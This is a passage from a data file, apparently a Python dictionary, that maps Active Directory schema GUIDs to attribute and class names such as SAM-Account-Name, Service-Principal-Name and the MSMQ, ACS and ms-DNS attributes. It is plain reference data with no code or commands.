'ms-DS-ReplicationEpoch',\n\t'3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota',\n\t'29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID',\n\t'3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used',\n\t'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container',\n\t'1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name',\n\t'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier',\n\t'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures',\n\t'9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type',\n\t'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority',\n\t'51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute',\n\t'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret',\n\t'7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority',\n\t'6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host',\n\t'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions',\n\t'9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota',\n\t'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry',\n\t'2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values',\n\t'7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog',\n\t'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location',\n\t'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path',\n\t'4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain',\n\t'3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName',\n\t'29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax',\n\t'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type',\n\t'4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson',\n\t'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object',\n\t'1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location',\n\t'7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories',\n\t'4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes',\n\t'2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service',\n\t'3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name',\n\t'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source',\n\t'7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type',\n\t'7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes',\n\t'0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings',\n\t'2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services',\n\t'6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type',\n\t'6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class',\n\t'2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update',\n\t'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server',\n\t'7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day',\n\t'52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming',\n\t'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity',\n\t'8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source',\n\t'04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates',\n\t'52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With',\n\t'7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows',\n\t'52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing',\n\t'789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes',\n\t'9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type',\n\t'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule',\n\t'54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL',\n\t'07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group',\n\t'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container',\n\t'7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List',\n\t'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials',\n\t'35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role',\n\t'9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services',\n\t'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex',\n\t'4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List',\n\t'6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information',\n\t'96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level',\n\t'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL',\n\t'9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates',\n\t'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID',\n\t'7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL',\n\t'07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP',\n\t'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point',\n\t'032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names',\n\t'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type',\n\t'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task',\n\t'3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig',\n\t'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info',\n\t'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid',\n\t'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address',\n\t'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover',\n\t'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL',\n\t'9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key',\n\t'1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update',\n\t'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key',\n\t'26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport',\n\t'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class',\n\t'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots',\n\t'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator',\n\t'2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed',\n\t'9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1',\n\t'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version',\n\t'9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id',\n\t'5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table',\n\t'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew',\n\t'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed',\n\t'9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2',\n\t'16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags',\n\t'9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids',\n\t'26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container',\n\t'28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point',\n\t'5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS',\n\t'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number',\n\t'146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript',\n\t'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign',\n\t'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path',\n\t'69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id',\n\t'16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home',\n\t'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id',\n\t'773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN',\n\t'9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates',\n\t'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective',\n\t'6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id',\n\t'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base',\n\t'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance',\n\t'5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax',\n\t'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data',\n\t'778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link',\n\t'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig',\n\t'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags',\n\t'098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License',\n\t'5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type',\n\t'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type',\n\t'185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users',\n\t'9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID',\n\t'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide',\n\t'67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License',\n\t'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter',\n\t'5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject',\n\t'553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu',\n\t'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference',\n\t'1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs',\n\t'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name',\n\t'01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary',\n\t'0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License',\n\t'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count',\n\t'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID',\n\t'15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group',\n\t'422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex',\n\t'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier',\n\t'1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License',\n\t'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy',\n\t'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site',\n\t'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description',\n\t'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference',\n\t'303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group',\n\t'9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites',\n\t'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also',\n\t'19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint',\n\t'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name',\n\t'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name',\n\t'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number',\n\t'9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional',\n\t'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification',\n\t'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp',\n\t'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy',\n\t'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link',\n\t'18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages',\n\t'07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action',\n\t'94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs',\n\t'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid',\n\t'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number',\n\t'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer',\n\t'52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages',\n\t'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference',\n\t'5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL',\n\t'9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version',\n\t'09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name',\n\t'14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL',\n\t'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA',\n\t'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge',\n\t'9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes',\n\t'07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type',\n\t'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For',\n\t'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin',\n\t'26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference',\n\t'0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones',\n\t'9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective',\n\t'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference',\n\t'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For',\n\t'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID',\n\t'26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL',\n\t'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed',\n\t'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy',\n\t'7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container',\n\t'9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes',\n\t'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference',\n\t'37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For',\n\t'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID',\n\t'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role',\n\t'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3',\n\t'9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective',\n\t'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference',\n\t'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc',\n\t'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID',\n\t'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State',\n\t'7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut',\n\t'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf',\n\t'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage',\n\t'00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities',\n\t'00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object',\n\t'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List',\n\t'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber',\n\t'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information',\n\t'0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor',\n\t'45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR',\n\t'28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct',\n\t'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL',\n\t'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress',\n\t'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID',\n\t'5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms',\n\t'1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings',\n\t'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet',\n\t'96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version',\n\t'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted',\n\t'011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time',\n\t'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute',\n\t'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info',\n\t'27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers',\n\t'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name',\n\t'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral',\n\t'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time',\n\t'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType',\n\t'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name',\n\t'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm',\n\t'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table',\n\t'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container',\n\t'8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To',\n\t'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL',\n\t'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count',\n\t'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber',\n\t'28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name',\n\t'13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length',\n\t'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number',\n\t'19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set',\n\t'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon',\n\t'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress',\n\t'28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type',\n\t'80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations',\n\t'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry',\n\t'0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant',\n\t'19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder',\n\t'31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success',\n\t'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute',\n\t'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version',\n\t'8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL',\n\t'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain',\n\t'398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account',\n\t'8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled',\n\t'78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference',\n\t'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain',\n\t'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name',\n\t'29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL',\n\t'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry',\n\t'3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain',\n\t'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued',\n\t'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL',\n\t'80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags',\n\t'7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command',\n\t'03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset',\n\t'281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library',\n\t'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName',\n\t'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto',\n\t'8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags',\n\t'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name',\n\t'553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu',\n\t'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period',\n\t'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table',\n\t'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute',\n\t'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords',\n\t'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name',\n\t'52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages',\n\t'3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors',\n\t'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume',\n\t'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names',\n\t'1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information',\n\t'07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients',\n\t'45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name',\n\t'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys',\n\t'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality',\n\t'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID',\n\t'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI',\n\t'0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients',\n\t'3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book',\n\t'28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records',\n\t'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount',\n\t'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID',\n\t'1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time',\n\t'0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests',\n\t'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only',\n\t'285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation',\n\t'52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found',\n\t'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax',\n\t'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed',\n\t'5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member',\n\t'07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count',\n\t'17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History',\n\t'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time',\n\t'5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount',\n\t'9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types',\n\t'52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent',\n\t'92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref',\n\t'3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID',\n\t'2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms',\n\t'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt',\n\t'11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting',\n\t'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio',\n\t'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff',\n\t'1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version',\n\t'532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID',\n\t'3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID',\n\t'387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt',\n\t'2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup',\n\t'6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy',\n\t'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon',\n\t'78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension',\n\t'3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization',\n\t'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List',\n\t'07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy',\n\t'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition',\n\t'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options',\n\t'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp',\n\t'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath',\n\t'0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes',\n\t'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List',\n\t'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy',\n\t'2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService',\n\t'1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List',\n\t'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time',\n\t'90b769ac-4413-43cf-ad7a-867142e740a3': 